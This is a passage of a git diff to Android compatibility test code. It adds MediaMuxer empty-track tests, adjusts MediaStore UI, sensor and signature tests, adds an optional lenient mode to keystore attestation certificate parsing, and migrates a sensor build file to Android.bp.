+        private String mOutPath;
+
+        public TestAddEmptyTracks(String mime) {
+            mMime = mime;
+        }
+
+        @Before
+        public void prologue() throws IOException {
+            mOutPath = File.createTempFile("tmp", ".out").getAbsolutePath();
+        }
+
+        @After
+        public void epilogue() {
+            new File(mOutPath).delete();
+        }
+
+        private boolean isMimeContainerPairValid(int format) {
+            boolean result = false;
+            if (format == MediaMuxer.OutputFormat.MUXER_OUTPUT_MPEG_4)
+                result = mimeListforTypeMp4.contains(mMime);
+            else if (format == MediaMuxer.OutputFormat.MUXER_OUTPUT_WEBM) {
+                return mimeListforTypeWebm.contains(mMime);
+            } else if (format == MediaMuxer.OutputFormat.MUXER_OUTPUT_3GPP) {
+                result = mimeListforType3gp.contains(mMime);
+            } else if (format == MediaMuxer.OutputFormat.MUXER_OUTPUT_OGG) {
+                result = mimeListforTypeOgg.contains(mMime);
+            }
+            return result;
+        }
+
+        @Parameterized.Parameters(name = "{index}({0})")
+        public static Collection<Object[]> input() {
+            return Arrays.asList(new Object[][]{
+                    // Video
+                    {MediaFormat.MIMETYPE_VIDEO_H263},
+                    {MediaFormat.MIMETYPE_VIDEO_AVC},
+                    {MediaFormat.MIMETYPE_VIDEO_HEVC},
+                    {MediaFormat.MIMETYPE_VIDEO_MPEG4},
+                    {MediaFormat.MIMETYPE_VIDEO_VP8},
+                    {MediaFormat.MIMETYPE_VIDEO_VP9},
+                    // Audio
+                    {MediaFormat.MIMETYPE_AUDIO_AAC},
+                    {MediaFormat.MIMETYPE_AUDIO_AMR_NB},
+                    {MediaFormat.MIMETYPE_AUDIO_AMR_WB},
+                    {MediaFormat.MIMETYPE_AUDIO_OPUS},
+                    {MediaFormat.MIMETYPE_AUDIO_VORBIS},
+                    // Metadata
+                    {MediaFormat.MIMETYPE_TEXT_SUBRIP},
+                    // Image
+                    {MediaFormat.MIMETYPE_IMAGE_ANDROID_HEIC}
+            });
+        }
 
         @Test
-        public void testSimpleMuxNative() {
-            Assume.assumeTrue("TODO(b/146421018)",
-                    !mMime.equals(MediaFormat.MIMETYPE_AUDIO_OPUS));
-            Assume.assumeTrue("TODO(b/146923287)",
-                    !mMime.equals(MediaFormat.MIMETYPE_AUDIO_VORBIS));
-            assertTrue(nativeTestSimpleMux(mInpPath, mOutPath, mMime, selector));
+        public void testEmptyVideoTrack() {
+            for (int format = MUXER_OUTPUT_FIRST; format <= MUXER_OUTPUT_LAST; ++format) {
+                if (!mMime.startsWith("video/")) continue;
+                if (!isMimeContainerPairValid(format)) continue;
+                if (format != MediaMuxer.OutputFormat.MUXER_OUTPUT_MPEG_4) continue;
+                try {
+                    MediaMuxer mediaMuxer = new MediaMuxer(mOutPath, format);
+                    MediaFormat mediaFormat = new MediaFormat();
+                    mediaFormat.setString(MediaFormat.KEY_MIME, mMime);
+                    mediaFormat.setInteger(MediaFormat.KEY_HEIGHT, 480);
+                    mediaFormat.setInteger(MediaFormat.KEY_WIDTH, 640);
+                    mediaMuxer.addTrack(mediaFormat);
+                    mediaMuxer.start();
+                    mediaMuxer.stop();
+                    mediaMuxer.release();
+                } catch (Exception e) {
+                    fail("testEmptyVideoTrack : unexpected exception : " + e.getMessage());
+                }
+            }
+        }
+
+        @Test
+        public void testEmptyAudioTrack() {
+            for (int format = MUXER_OUTPUT_FIRST; format <= MUXER_OUTPUT_LAST; ++format) {
+                if (!mMime.startsWith("audio/")) continue;
+                if (!isMimeContainerPairValid(format)) continue;
+                if (format != MediaMuxer.OutputFormat.MUXER_OUTPUT_MPEG_4) continue;
+                try {
+                    MediaMuxer mediaMuxer = new MediaMuxer(mOutPath, format);
+                    MediaFormat mediaFormat = new MediaFormat();
+                    mediaFormat.setString(MediaFormat.KEY_MIME, mMime);
+                    mediaFormat.setInteger(MediaFormat.KEY_SAMPLE_RATE, 12000);
+                    mediaFormat.setInteger(MediaFormat.KEY_CHANNEL_COUNT, 2);
+                    mediaMuxer.addTrack(mediaFormat);
+                    mediaMuxer.start();
+                    mediaMuxer.stop();
+                    mediaMuxer.release();
+                } catch (Exception e) {
+                    fail("testEmptyAudioTrack : unexpected exception : " + e.getMessage());
+                }
+            }
+        }
+
+        @Test
+        public void testEmptyMetaDataTrack() {
+            for (int format = MUXER_OUTPUT_FIRST; format <= MUXER_OUTPUT_LAST; ++format) {
+                if (!mMime.startsWith("application/")) continue;
+                if (!isMimeContainerPairValid(format)) continue;
+                try {
+                    MediaMuxer mediaMuxer = new MediaMuxer(mOutPath, format);
+                    MediaFormat mediaFormat = new MediaFormat();
+                    mediaFormat.setString(MediaFormat.KEY_MIME, mMime);
+                    mediaMuxer.addTrack(mediaFormat);
+                    mediaMuxer.start();
+                    mediaMuxer.stop();
+                    mediaMuxer.release();
+                } catch (Exception e) {
+                    fail("testEmptyMetaDataTrack : unexpected exception : " + e.getMessage());
+                }
+            }
+        }
+
+        @Test
+        public void testEmptyImageTrack() {
+            for (int format = MUXER_OUTPUT_FIRST; format <= MUXER_OUTPUT_LAST; ++format) {
+                if (!mMime.startsWith("image/")) continue;
+                if (!isMimeContainerPairValid(format)) continue;
+                try {
+                    MediaMuxer mediaMuxer = new MediaMuxer(mOutPath, format);
+                    MediaFormat mediaFormat = new MediaFormat();
+                    mediaFormat.setString(MediaFormat.KEY_MIME, mMime);
+                    mediaFormat.setInteger(MediaFormat.KEY_HEIGHT, 480);
+                    mediaFormat.setInteger(MediaFormat.KEY_WIDTH, 640);
+                    mediaMuxer.addTrack(mediaFormat);
+                    mediaMuxer.start();
+                    mediaMuxer.stop();
+                    mediaMuxer.release();
+                } catch (Exception e) {
+                    fail("testEmptyImageTrack : unexpected exception : " + e.getMessage());
+                }
+            }
         }
     }
 }
diff --git a/tests/providerui/src/android/providerui/cts/MediaStoreUiTest.java b/tests/providerui/src/android/providerui/cts/MediaStoreUiTest.java
index 6778b69..49876de 100644
--- a/tests/providerui/src/android/providerui/cts/MediaStoreUiTest.java
+++ b/tests/providerui/src/android/providerui/cts/MediaStoreUiTest.java
@@ -19,6 +19,7 @@
 import static org.junit.Assert.assertArrayEquals;
 import static org.junit.Assert.assertEquals;
 import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.assertTrue;
 import static org.junit.Assert.fail;
 
 import android.app.Activity;
@@ -38,13 +39,17 @@
 import android.os.storage.StorageManager;
 import android.os.storage.StorageVolume;
 import android.os.UserManager;
+import android.provider.DocumentsContract;
 import android.provider.MediaStore;
 import android.provider.cts.ProviderTestUtils;
 import android.providerui.cts.GetResultActivity.Result;
 import android.support.test.uiautomator.By;
 import android.support.test.uiautomator.BySelector;
 import android.support.test.uiautomator.UiDevice;
+import android.support.test.uiautomator.UiObject;
 import android.support.test.uiautomator.UiObject2;
+import android.support.test.uiautomator.UiObjectNotFoundException;
+import android.support.test.uiautomator.UiSelector;
 import android.support.test.uiautomator.Until;
 import android.system.Os;
 import android.text.format.DateUtils;
@@ -76,6 +81,7 @@
     private static final String TAG = "MediaStoreUiTest";
 
     private static final int REQUEST_CODE = 42;
+    private static final long TIMEOUT_MILLIS = 30 * DateUtils.SECOND_IN_MILLIS;
 
     private Instrumentation mInstrumentation;
     private Context mContext;
@@ -210,31 +216,43 @@
         Log.v(TAG, "Staged " + mFile + " as " + mMediaStoreUri);
     }
 
-    private Uri acquireAccess(File file, String directoryName) {
+    private void assertToolbarTitleEquals(String targetPackageName, String label)
+            throws UiObjectNotFoundException {
+        final UiSelector toolbarUiSelector = new UiSelector().resourceId(
+                targetPackageName + ":id/toolbar");
+        final UiSelector titleTextSelector = new UiSelector().className(
+                "android.widget.TextView").text(label);
+        final UiObject title = new UiObject(toolbarUiSelector.childSelector(titleTextSelector));
+
+        assertTrue(title.waitForExists(TIMEOUT_MILLIS));
+    }
+
+    private Uri acquireAccess(File file, String directoryName) throws Exception {
         StorageManager storageManager =
                 (StorageManager) mActivity.getSystemService(Context.STORAGE_SERVICE);
 
         // Request access from DocumentsUI
         final StorageVolume volume = storageManager.getStorageVolume(file);
         final Intent intent = volume.createOpenDocumentTreeIntent();
+
+        // launch the directory directly to avoid unexpected UiObject not found issue
+        final Uri rootUri = intent.getParcelableExtra(DocumentsContract.EXTRA_INITIAL_URI);
+        final String rootId = DocumentsContract.getRootId(rootUri);
+        final String documentId = rootId + ":" + directoryName;
+        intent.putExtra(DocumentsContract.EXTRA_INITIAL_URI,
+                DocumentsContract.buildDocumentUri(rootUri.getAuthority(), documentId));
         mActivity.startActivityForResult(intent, REQUEST_CODE);
 
         if (mTargetPackageName == null) {
             mTargetPackageName = getTargetPackageName(mActivity);
         }
-
-        // We started at the root of the storage device, and need to navigate
-        // into the requested directory
-        final BySelector directorySelector = By.pkg(mTargetPackageName)
-                .text(directoryName);
-        mDevice.wait(Until.hasObject(directorySelector), 30 * DateUtils.SECOND_IN_MILLIS);
-        mDevice.findObject(directorySelector).click();
         mDevice.waitForIdle();
+        assertToolbarTitleEquals(mTargetPackageName, directoryName);
 
         // Granting the access
         BySelector buttonPanelSelector = By.pkg(mTargetPackageName)
                 .res(mTargetPackageName + ":id/container_save");
-        mDevice.wait(Until.hasObject(buttonPanelSelector), 30 * DateUtils.SECOND_IN_MILLIS);
+        mDevice.wait(Until.hasObject(buttonPanelSelector), TIMEOUT_MILLIS);
         final UiObject2 buttonPanel = mDevice.findObject(buttonPanelSelector);
         final UiObject2 allowButton = buttonPanel.findObject(By.res("android:id/button1"));
         allowButton.click();
@@ -243,7 +261,7 @@
         // Granting the access by click "allow" in confirm dialog
         final BySelector dialogButtonPanelSelector = By.pkg(mTargetPackageName)
                 .res(mTargetPackageName + ":id/buttonPanel");
-        mDevice.wait(Until.hasObject(dialogButtonPanelSelector), 30 * DateUtils.SECOND_IN_MILLIS);
+        mDevice.wait(Until.hasObject(dialogButtonPanelSelector), TIMEOUT_MILLIS);
         final UiObject2 positiveButton = mDevice.findObject(dialogButtonPanelSelector)
                 .findObject(By.res("android:id/button1"));
         positiveButton.click();
@@ -257,7 +275,7 @@
         final Uri resultUri = resultIntent.getData();
         final int flags = resultIntent.getFlags()
                 & (Intent.FLAG_GRANT_READ_URI_PERMISSION
-                    | Intent.FLAG_GRANT_WRITE_URI_PERMISSION);
+                | Intent.FLAG_GRANT_WRITE_URI_PERMISSION);
         mActivity.getContentResolver().takePersistableUriPermission(resultUri, flags);
         return resultUri;
     }
diff --git a/tests/security/src/android/keystore/cts/Asn1Attestation.java b/tests/security/src/android/keystore/cts/Asn1Attestation.java
index b454130..232a230 100644
--- a/tests/security/src/android/keystore/cts/Asn1Attestation.java
+++ b/tests/security/src/android/keystore/cts/Asn1Attestation.java
@@ -40,7 +40,13 @@
      * @throws CertificateParsingException if the certificate does not contain a properly-formatted
      *     attestation extension.
      */
+
     public Asn1Attestation(X509Certificate x509Cert) throws CertificateParsingException {
+        this(x509Cert, true);
+    }
+
+    public Asn1Attestation(X509Certificate x509Cert, boolean strictParsing)
+            throws CertificateParsingException {
         super(x509Cert);
         ASN1Sequence seq = getAttestationSequence(x509Cert);
 
@@ -57,8 +63,8 @@
 
         uniqueId = Asn1Utils.getByteArrayFromAsn1(seq.getObjectAt(UNIQUE_ID_INDEX));
 
-        softwareEnforced = new AuthorizationList(seq.getObjectAt(SW_ENFORCED_INDEX));
-        teeEnforced = new AuthorizationList(seq.getObjectAt(TEE_ENFORCED_INDEX));
+        softwareEnforced = new AuthorizationList(seq.getObjectAt(SW_ENFORCED_INDEX), strictParsing);
+        teeEnforced = new AuthorizationList(seq.getObjectAt(TEE_ENFORCED_INDEX), strictParsing);
     }
 
     ASN1Sequence getAttestationSequence(X509Certificate x509Cert)
diff --git a/tests/security/src/android/keystore/cts/Asn1Utils.java b/tests/security/src/android/keystore/cts/Asn1Utils.java
index 9586651..933def8 100644
--- a/tests/security/src/android/keystore/cts/Asn1Utils.java
+++ b/tests/security/src/android/keystore/cts/Asn1Utils.java
@@ -137,15 +137,26 @@
 
     public static boolean getBooleanFromAsn1(ASN1Encodable value)
             throws CertificateParsingException {
+        return getBooleanFromAsn1(value, true);
+    }
+
+    public static boolean getBooleanFromAsn1(ASN1Encodable value, boolean strictParsing)
+            throws CertificateParsingException {
         if (!(value instanceof ASN1Boolean)) {
             throw new CertificateParsingException(
                     "Expected boolean, found " + value.getClass().getName());
         }
         ASN1Boolean booleanValue = (ASN1Boolean) value;
+
         if (booleanValue.equals(ASN1Boolean.TRUE)) {
             return true;
         } else if (booleanValue.equals((ASN1Boolean.FALSE))) {
             return false;
+        } else if (!strictParsing) {
+            // Value is not 0xFF nor 0x00, but some other non-zero value.
+            // This is invalid DER, but if we're not being strict,
+            // consider it true, otherwise fall through and throw exception
+            return true;
         }
 
         throw new CertificateParsingException(
diff --git a/tests/security/src/android/keystore/cts/Attestation.java b/tests/security/src/android/keystore/cts/Attestation.java
index 7414908..e9ff0d2 100644
--- a/tests/security/src/android/keystore/cts/Attestation.java
+++ b/tests/security/src/android/keystore/cts/Attestation.java
@@ -58,8 +58,13 @@
      *     attestation extension, if it contains multiple attestation extensions, or if the
      *     attestation extension can not be parsed.
      */
+
     public static Attestation loadFromCertificate(X509Certificate x509Cert)
             throws CertificateParsingException {
+        return Attestation.loadFromCertificate(x509Cert, true);
+    }
+    public static Attestation loadFromCertificate(X509Certificate x509Cert, boolean strictParsing)
+            throws CertificateParsingException {
         if (x509Cert.getExtensionValue(EAT_OID) == null
                 && x509Cert.getExtensionValue(ASN1_OID) == null) {
             throw new CertificateParsingException("No attestation extensions found");
@@ -74,7 +79,7 @@
                 throw new CertificateParsingException("Unable to parse EAT extension", cbe);
             }
         }
-        return new Asn1Attestation(x509Cert);
+        return new Asn1Attestation(x509Cert, strictParsing);
     }
 
     Attestation(X509Certificate x509Cert) {
diff --git a/tests/security/src/android/keystore/cts/AuthorizationList.java b/tests/security/src/android/keystore/cts/AuthorizationList.java
index dce9b2a..af74a2f 100644
--- a/tests/security/src/android/keystore/cts/AuthorizationList.java
+++ b/tests/security/src/android/keystore/cts/AuthorizationList.java
@@ -209,6 +209,10 @@
     private boolean confirmationRequired;
 
     public AuthorizationList(ASN1Encodable sequence) throws CertificateParsingException {
+        this(sequence, true);
+    }
+
+    public AuthorizationList(ASN1Encodable sequence, boolean strictParsing) throws CertificateParsingException {
         if (!(sequence instanceof ASN1Sequence)) {
             throw new CertificateParsingException("Expected sequence for authorization list, found "
                     + sequence.getClass().getName());
@@ -292,7 +296,7 @@
                     userAuthType = Asn1Utils.getIntegerFromAsn1(value);
                     break;
                 case KM_TAG_ROOT_OF_TRUST & KEYMASTER_TAG_TYPE_MASK:
-                    rootOfTrust = new RootOfTrust(value);
+                    rootOfTrust = new RootOfTrust(value, strictParsing);
                     break;
                 case KM_TAG_ATTESTATION_APPLICATION_ID & KEYMASTER_TAG_TYPE_MASK:
                     attestationApplicationId = new AttestationApplicationId(Asn1Utils
diff --git a/tests/security/src/android/keystore/cts/RootOfTrust.java b/tests/security/src/android/keystore/cts/RootOfTrust.java
index a115874..bfa2f10 100644
--- a/tests/security/src/android/keystore/cts/RootOfTrust.java
+++ b/tests/security/src/android/keystore/cts/RootOfTrust.java
@@ -38,6 +38,11 @@
     private final int verifiedBootState;
 
     public RootOfTrust(ASN1Encodable asn1Encodable) throws CertificateParsingException {
+        this(asn1Encodable, true);
+    }
+
+    public RootOfTrust(ASN1Encodable asn1Encodable, boolean strictParsing)
+            throws CertificateParsingException {
         if (!(asn1Encodable instanceof ASN1Sequence)) {
             throw new CertificateParsingException("Expected sequence for root of trust, found "
                     + asn1Encodable.getClass().getName());
@@ -46,7 +51,8 @@
         ASN1Sequence sequence = (ASN1Sequence) asn1Encodable;
         verifiedBootKey =
                 Asn1Utils.getByteArrayFromAsn1(sequence.getObjectAt(VERIFIED_BOOT_KEY_INDEX));
-        deviceLocked = Asn1Utils.getBooleanFromAsn1(sequence.getObjectAt(DEVICE_LOCKED_INDEX));
+        deviceLocked = Asn1Utils.getBooleanFromAsn1(
+                sequence.getObjectAt(DEVICE_LOCKED_INDEX), strictParsing);
         verifiedBootState =
                 Asn1Utils.getIntegerFromAsn1(sequence.getObjectAt(VERIFIED_BOOT_STATE_INDEX));
     }
diff --git a/tests/sensor/Android.bp b/tests/sensor/Android.bp
new file mode 100644
index 0000000..4930c6f
--- /dev/null
+++ b/tests/sensor/Android.bp
@@ -0,0 +1,100 @@
+// Copyright (C) 2016 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+//
+// Reusable Sensor test classes and helpers
+//
+java_library {
+    name: "cts-sensors-tests",
+    defaults: ["cts_error_prone_rules_tests"],
+
+    static_libs: ["compatibility-device-util-axt"],
+
+    libs: [
+        "platform-test-annotations",
+        "android.test.base.stubs",
+    ],
+
+    sdk_version: "test_current",
+
+    srcs: ["src/**/*.java"],
+}
+
+//
+// JNI components for testing NDK
+//
+cc_library_shared {
+    name: "libcts-sensors-ndk-jni",
+
+    cflags: [
+        "-Werror",
+        "-Wall",
+        "-Wextra",
+    ],
+
+    srcs: [
+        "jni/SensorTest.cpp",
+        "jni/SensorTestCases.cpp",
+        "jni/android_hardware_cts_SensorDirectReportTest.cpp",
+        "jni/android_hardware_cts_SensorNativeTest.cpp",
+        "jni/nativeTestHelper.cpp",
+    ],
+
+    header_libs: ["jni_headers"],
+
+    shared_libs: [
+        "libandroid",
+        "liblog",
+    ],
+
+    sdk_version: "current",
+
+    stl: "c++_shared",
+}
+
+//
+// CtsSensorTestCases package
+//
+android_test {
+    name: "CtsSensorTestCases",
+    defaults: [
+        "cts_defaults",
+    ],
+
+    // Tag this module as a cts test artifact
+    test_suites: [
+        "cts",
+        "general-tests",
+    ],
+
+    // include both the 32 and 64 bit versions
+    compile_multilib: "both",
+
+    static_libs: [
+        "compatibility-device-util-axt",
+        "ctstestrunner-axt",
+        "cts-sensors-tests",
+    ],
+
+    jni_libs: ["libcts-sensors-ndk-jni"],
+
+    sdk_version: "test_current",
+
+    libs: [
+        "android.test.runner.stubs",
+        "android.test.base.stubs",
+    ],
+
+    stl: "c++_shared",
+}
diff --git a/tests/sensor/Android.mk b/tests/sensor/Android.mk
deleted file mode 100644
index d198b04..0000000
--- a/tests/sensor/Android.mk
+++ /dev/null
@@ -1,96 +0,0 @@
-# Copyright (C) 2016 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH:= $(call my-dir)
-
-#
-# Reusable Sensor test classes and helpers
-#
-include $(CLEAR_VARS)
-
-LOCAL_MODULE := cts-sensors-tests
-
-LOCAL_MODULE_TAGS := tests
-
-LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
-
-LOCAL_STATIC_JAVA_LIBRARIES := compatibility-device-util-axt
-
-LOCAL_JAVA_LIBRARIES := platform-test-annotations android.test.base.stubs
-
-LOCAL_SDK_VERSION := test_current
-
-LOCAL_SRC_FILES := $(call all-java-files-under, src)
--include cts/error_prone_rules_tests.mk
-include $(BUILD_STATIC_JAVA_LIBRARY)
-
-#
-# JNI components for testing NDK
-#
-include $(CLEAR_VARS)
-
-LOCAL_MODULE := libcts-sensors-ndk-jni
-
-LOCAL_CFLAGS += -Werror -Wall -Wextra
-
-LOCAL_MODULE_TAGS := tests
-
-LOCAL_SRC_FILES := \
-    jni/SensorTest.cpp \
-    jni/SensorTestCases.cpp \
-    jni/android_hardware_cts_SensorDirectReportTest.cpp \
-    jni/android_hardware_cts_SensorNativeTest.cpp \
-    jni/nativeTestHelper.cpp
-
-LOCAL_HEADER_LIBRARIES := jni_headers
-
-LOCAL_SHARED_LIBRARIES := libandroid liblog
-
-LOCAL_SDK_VERSION := current
-
-LOCAL_NDK_STL_VARIANT := c++_shared
--include cts/error_prone_rules_tests.mk
-include $(BUILD_SHARED_LIBRARY)
-
-#
-# CtsSensorTestCases package
-#
-include $(CLEAR_VARS)
-
-LOCAL_MODULE_TAGS := tests
-
-LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
-
-# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts general-tests
-
-# include both the 32 and 64 bit versions
-LOCAL_MULTILIB := both
-
-LOCAL_STATIC_JAVA_LIBRARIES := \
-    compatibility-device-util-axt \
-    ctstestrunner-axt \
-    cts-sensors-tests \
-
-LOCAL_JNI_SHARED_LIBRARIES := libcts-sensors-ndk-jni
-
-LOCAL_PACKAGE_NAME := CtsSensorTestCases
-
-LOCAL_SDK_VERSION := test_current
-
-LOCAL_JAVA_LIBRARIES := android.test.runner.stubs android.test.base.stubs
-
-LOCAL_NDK_STL_VARIANT := c++_shared
-
-include $(BUILD_CTS_PACKAGE)
diff --git a/tests/sensor/src/android/hardware/cts/SensorAdditionalInfoTest.java b/tests/sensor/src/android/hardware/cts/SensorAdditionalInfoTest.java
index 00defeb..74ad99b 100644
--- a/tests/sensor/src/android/hardware/cts/SensorAdditionalInfoTest.java
+++ b/tests/sensor/src/android/hardware/cts/SensorAdditionalInfoTest.java
@@ -55,10 +55,10 @@
         List<Sensor> list = mSensorManager.getSensorList(Sensor.TYPE_ALL);
         List<String> errors = new ArrayList<String>();
         for (Sensor s : list) {
-            // skip vendor sensor types, one-shot and on-change sensors.
-            if (s.getType() >= Sensor.TYPE_DEVICE_PRIVATE_BASE ||
-                    s.getReportingMode() == Sensor.REPORTING_MODE_ONE_SHOT ||
-                    s.getReportingMode() == Sensor.REPORTING_MODE_ON_CHANGE) {
+            // Only test sensor additional info for Accelerometer, Gyroscope and Magnetometer.
+            if (s.getType() != Sensor.TYPE_ACCELEROMETER &&
+                    s.getType() != Sensor.TYPE_GYROSCOPE &&
+                    s.getType() != Sensor.TYPE_MAGNETIC_FIELD) {
                 continue;
             }
 
diff --git a/tests/sensor/src/android/hardware/cts/SensorParameterRangeTest.java b/tests/sensor/src/android/hardware/cts/SensorParameterRangeTest.java
index 065441a..be5d6d7 100644
--- a/tests/sensor/src/android/hardware/cts/SensorParameterRangeTest.java
+++ b/tests/sensor/src/android/hardware/cts/SensorParameterRangeTest.java
@@ -80,6 +80,7 @@
 
     private boolean mIsAutomotive;
     private boolean mHasHifiSensors;
+    private boolean mHasProximitySensor;
     private boolean mVrModeHighPerformance;
     private SensorManager mSensorManager;
 
@@ -89,6 +90,7 @@
         mSensorManager = (SensorManager) getContext().getSystemService(Context.SENSOR_SERVICE);
         mIsAutomotive = pm.hasSystemFeature(PackageManager.FEATURE_AUTOMOTIVE);
         mHasHifiSensors = pm.hasSystemFeature(PackageManager.FEATURE_HIFI_SENSORS);
+        mHasProximitySensor = pm.hasSystemFeature(PackageManager.FEATURE_SENSOR_PROXIMITY);
         mVrModeHighPerformance = pm.hasSystemFeature(PackageManager.FEATURE_VR_MODE_HIGH_PERFORMANCE);
     }
 
@@ -215,7 +217,7 @@
     }
 
     public void testProximityFifoLength() throws Throwable {
-        if (!mHasHifiSensors) return;
+        if (!mHasHifiSensors || !mHasProximitySensor) return;
         checkMinFifoLength(Sensor.TYPE_PROXIMITY, PROXIMITY_SENSOR_MIN_FIFO_LENGTH);
     }
 
diff --git a/tests/sensor/src/android/hardware/cts/SensorTest.java b/tests/sensor/src/android/hardware/cts/SensorTest.java
index f48ed77..68ab07d 100644
--- a/tests/sensor/src/android/hardware/cts/SensorTest.java
+++ b/tests/sensor/src/android/hardware/cts/SensorTest.java
@@ -37,6 +37,7 @@
 import android.hardware.cts.helpers.sensorverification.EventGapVerification;
 import android.hardware.cts.helpers.sensorverification.EventOrderingVerification;
 import android.hardware.cts.helpers.sensorverification.EventTimestampSynchronizationVerification;
+import android.os.Build.VERSION_CODES;
 import android.os.Handler;
 import android.os.HandlerThread;
 import android.os.PowerManager;
@@ -44,6 +45,7 @@
 import android.platform.test.annotations.AppModeFull;
 import android.platform.test.annotations.Presubmit;
 import android.util.Log;
+import com.android.compatibility.common.util.PropertyUtil;
 
 import junit.framework.Assert;
 
@@ -87,7 +89,8 @@
 
         mAndroidSensorList = new ArrayList<>();
         for (Sensor s : mSensorList) {
-            if (s.getType() < Sensor.TYPE_DEVICE_PRIVATE_BASE) {
+            if (s.getType() < Sensor.TYPE_DEVICE_PRIVATE_BASE &&
+                    (!context.getPackageManager().isInstantApp() || s.getType() != Sensor.TYPE_HEART_RATE)) {
                 mAndroidSensorList.add(s);
             }
         }
@@ -563,7 +566,11 @@
                     sensor.getResolution() <= maxResolution);
         }
 
-        if (SensorCtsHelper.hasMinResolutionRequirement(sensor)) {
+        // The minimum resolution requirement was introduced to the CDD in R so
+        // it's only possible to assert compliance for devices that release with
+        // R or later.
+        if (PropertyUtil.getFirstApiLevel() >= VERSION_CODES.R &&
+                SensorCtsHelper.hasMinResolutionRequirement(sensor)) {
             float minResolution = SensorCtsHelper.getRequiredMinResolutionForSensor(sensor);
             assertTrue("Resolution must be >= " + minResolution + ". Resolution =" +
                     sensor.getResolution() + " " + sensor.getName(),
diff --git a/tests/signature/api-check/system-annotation/AndroidTest.xml b/tests/signature/api-check/system-annotation/AndroidTest.xml
index 4a61a40..669e033 100644
--- a/tests/signature/api-check/system-annotation/AndroidTest.xml
+++ b/tests/signature/api-check/system-annotation/AndroidTest.xml
@@ -30,6 +30,8 @@
         <option name="instrumentation-arg" key="expected-api-files" value="system-current.api.gz,system-removed.api.gz,car-system-current.api.gz,car-system-removed.api.gz" />
         <option name="instrumentation-arg" key="annotation-for-exact-match" value="@android.annotation.SystemApi\(client=PRIVILEGED_APPS\)" />
         <option name="runtime-hint" value="30s" />
+        <!-- Disable hidden API checks (http://b/171459260). -->
+        <option name="hidden-api-checks" value="false" />
     </test>
 
     <!-- Controller that will skip the module if a native bridge situation is detected -->
diff --git a/tests/signature/api-check/system-annotation/src/java/android/signature/cts/api/AnnotationTest.java b/tests/signature/api-check/system-annotation/src/java/android/signature/cts/api/AnnotationTest.java
index 78f114b..efefdd5 100644
--- a/tests/signature/api-check/system-annotation/src/java/android/signature/cts/api/AnnotationTest.java
+++ b/tests/signature/api-check/system-annotation/src/java/android/signature/cts/api/AnnotationTest.java
@@ -20,9 +20,14 @@
 import android.os.Bundle;
 import android.signature.cts.AnnotationChecker;
 import android.signature.cts.ApiDocumentParser;
+import android.signature.cts.JDiffClassDescription;
 
 import com.android.compatibility.common.util.PropertyUtil;
 
+import java.lang.reflect.Constructor;
+import java.lang.reflect.Field;
+import java.lang.reflect.Method;
+
 /**
  * Checks that parts of the device's API that are annotated (e.g. with android.annotation.SystemApi)
  * match the API definition.
@@ -47,9 +52,33 @@
     public void testAnnotation() {
         if ("true".equals(PropertyUtil.getProperty("ro.treble.enabled")) &&
                 PropertyUtil.getFirstApiLevel() > Build.VERSION_CODES.O_MR1) {
+            AnnotationChecker.ResultFilter filter = new AnnotationChecker.ResultFilter() {
+                @Override
+                public boolean skip(Class<?> clazz) {
+                    return false;
+                }
+
+                @Override
+                public boolean skip(Constructor<?> ctor) {
+                    return false;
+                }
+
+                @Override
+                public boolean skip(Method m) {
+                    return false;
+                }
+
+                @Override
+                public boolean skip(Field f) {
+                    // The R.styleable class is not part of the API because it's annotated with
+                    // @doconly. But the class actually exists in the runtime classpath.  To avoid
+                    // the mismatch, skip the check for fields from the class.
+                    return "android.R$styleable".equals(f.getDeclaringClass().getName());
+                }
+            };
             runWithTestResultObserver(resultObserver -> {
                 AnnotationChecker complianceChecker = new AnnotationChecker(resultObserver,
-                        classProvider, annotationForExactMatch);
+                        classProvider, annotationForExactMatch, filter);
 
                 ApiDocumentParser apiDocumentParser = new ApiDocumentParser(TAG);
 
diff --git a/tests/signature/api-check/system-api/Android.mk b/tests/signature/api-check/system-api/Android.mk
index c37915b..cd3bc47 100644
--- a/tests/signature/api-check/system-api/Android.mk
+++ b/tests/signature/api-check/system-api/Android.mk
@@ -29,7 +29,6 @@
 LOCAL_MODULE_STEM := system-all.api.zip
 LOCAL_MODULE_CLASS := ETC
 LOCAL_MODULE_PATH = $(TARGET_OUT_DATA_ETC)
-LOCAL_COMPATIBILITY_SUITE := arcts cts general-tests
 include $(BUILD_SYSTEM)/base_rules.mk
 $(LOCAL_BUILT_MODULE): $(SOONG_ZIP)
 $(LOCAL_BUILT_MODULE): PRIVATE_SYSTEM_API_FILES := $(all_system_api_files)
diff --git a/tests/signature/lib/common/src/android/signature/cts/AnnotationChecker.java b/tests/signature/lib/common/src/android/signature/cts/AnnotationChecker.java
index cd6db94..3f14dad 100644
--- a/tests/signature/lib/common/src/android/signature/cts/AnnotationChecker.java
+++ b/tests/signature/lib/common/src/android/signature/cts/AnnotationChecker.java
@@ -19,6 +19,7 @@
 import java.lang.reflect.Constructor;
 import java.lang.reflect.Field;
 import java.lang.reflect.Method;
+import java.util.stream.Collectors;
 import java.util.HashMap;
 import java.util.Map;
 import java.util.Set;
@@ -30,6 +31,8 @@
 
     private final String annotationSpec;
 
+    private final ResultFilter filter;
+
     private final Map<String, Class<?>> annotatedClassesMap = new HashMap<>();
     private final Map<String, Set<Constructor<?>>> annotatedConstructorsMap = new HashMap<>();
     private final Map<String, Set<Method>> annotatedMethodsMap = new HashMap<>();
@@ -40,10 +43,12 @@
